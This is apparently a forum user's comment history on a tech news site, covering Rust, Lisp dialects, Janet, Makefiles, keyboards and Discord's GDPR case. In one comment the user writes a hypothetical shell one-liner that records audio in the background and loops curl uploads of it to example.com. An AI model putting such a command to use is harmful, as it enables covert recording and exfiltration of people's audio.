News for hackers. Stuff that matters.

ahungry

Re:A Coder Considers the Waning Days of the Craft on Monday November 13, 2023 @11:24PM (#38259139)
Bravo - for these simple things, typing in a GPT prompt or search query is more work than the command.

Even things like "what flags to use with ffmpeg" are a shell reverse-history search away, assuming one has ever used them in the past.

I loved slitaz - got me into linux!
Re:Emacs Lisp shorthands as namespacing system on Sunday November 27, 2022 @05:41PM (#33767780)
I've been using https://github.com/Malabarba/Nameless for awhile now - it's functionally very similar to the new Emacs shorthands feature.
Re:Using Rust at a Startup: A Cautionary Tale on Tuesday November 22, 2022 @09:08PM (#33714238)
perl6/rakudo has most the same convenience features, albeit a little less type checking
Re:Using Rust at a Startup: A Cautionary Tale on Tuesday November 22, 2022 @09:01PM (#33714197)
I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups.

- C/C++ developers like it as an alternative for low level languages

- Functional programmers like it because of it's functional features

- "Cargo Culters" / "Hot Language" / "Flavor of the Month" followers like it, as it's in vogue at the moment (this is the crowd that has likely shifted from various web/API scripting languages over the last decade - (php|ruby|python) -> nodejs -> rust)

However, as the article alludes to, for the third crowd, Rust is just likely not a great fit (even if it has a lot of neat features and introduces some great concepts others may not stumble on of their own accord) when your implementation doesn't do much beyond web dev/API/scripting purposes.

Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?
Did the users choose to install the Discord app (or run a random command?)

How are you supposed to confirm "user understanding"?

Does the program need to require a tutorial/training before it's being used?

A user's ignorance shouldn't be a software distributor's problem.

If the discord app didn't have a system tray, and hid it's process from the Process List someway, maybe you have a point - this is just ignorance across the board.

Something like:

    nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & 
Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.

Re:Lisp-Stick on a Python on Monday November 14, 2022 @06:27PM (#33602926)
This was a trend in the early 2010s on a lot of Clojure projects
Re:Lisp-Stick on a Python on Monday November 14, 2022 @05:25PM (#33602182)
I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to reason about performance concerns/having a transparency into the underlying implementation (see: Clojure).
lol
Well stated.
Nice tip!
love this
Wrap the entire script in {}, otherwise a change to it will impact running instances (best case, causing an abrupt error).
Re:A Real World React – Htmx Port on Monday October 17, 2022 @06:31PM (#33240353)
Sometimes the infrastructure causes this. For a long time (and now?) AWS Api Gateway has a hard cap of 30 seconds, so the sum of all hops along the way need to remain under that.
Re:The Unreasonable Effectiveness of Makefiles on Friday August 12, 2022 @08:52PM (#32445786)
yup, thats the appeal - in a multi language environment a common call, not having to futz with cargo run, npm run start, python3 -m something, etc
Re:Clojure Scripting on Node.js on Friday August 05, 2022 @10:49AM (#32356924)
Compiles/transpiles into code that runs on a "host" language execution environment (nodejs, JVM, CLR) instead of it's own VM implementation, or native code.
It'd be nice if someone on the Snowflake team actually maintained their JS adapter... (https://github.com/snowflakedb/snowflake-connector-nodejs/pu...)
I wrote similar here: https://github.com/ahungry/janet-pobox although it probably needs updates to work with 1.18 and above.
In libjanet you can use a C call like janet_panic() that'll "panic" and throw an exception/error up in the active Janet runtime (so when something bad/unexpected happens in your C code you are providing an API to from Janet, you'd use this).
Re:Sixty Percent Keyboard on Monday October 04, 2021 @09:20AM (#28746328)
True, so more clicky than not clicky at all would put any clicky one in the "more clicky" category (blue/green/???) :)

The silver speed ones on this kraken keyboard aren't bad, but definitely take some getting used to (even resting idle fingers, I sometimes press the keys by mistake).

Re:Sixty Percent Keyboard on Friday October 01, 2021 @11:18PM (#28725645)
As noted on the article - looking for recommendations of nice 60% keyboards in the $100'ish price point range as well.

Something a little more clicky than brown switches, but perhaps not as much as a Unicomp, and in the 60% form factor.

Re:Write Code Like You Write a Recipe on Wednesday November 18, 2020 @08:57AM (#25136738)
I was really tempted to go into some pro-FP suggestions (in particular, about reducing some of the duplicity via compositional functions), but wanted to keep it to just the over-abstraction/if/else complexity topic.
Re:Write Code Like You Write a Recipe on Wednesday November 18, 2020 @08:54AM (#25136716)
Haha, good catch, I'm going to blame that on typing while tired
Re:Write Code Like You Write a Recipe on Wednesday November 18, 2020 @12:09AM (#25133417)
That makes sense if it was just a list of ingredients with an identical process in every recipe (in which case the ingredients are simply data) - it may not have been super clear in the article alone, but there was a difference in process between the peanut butter and the oatmeal raisin (think for instance, how many times the .add() was called between the two), which would mean the recipe is acting more like code.

Configuration as code can definitely work and make some things more clear (at least, until the point an edge-case has to be added to the core routines to account for a new/custom type of configuration process).

Using a lisp tends to treat code as data, which solves all the problems in one fell swoop.

Re:Write Code Like You Write a Recipe on Wednesday November 18, 2020 @12:01AM (#25133390)
Glad you enjoyed it!

Older »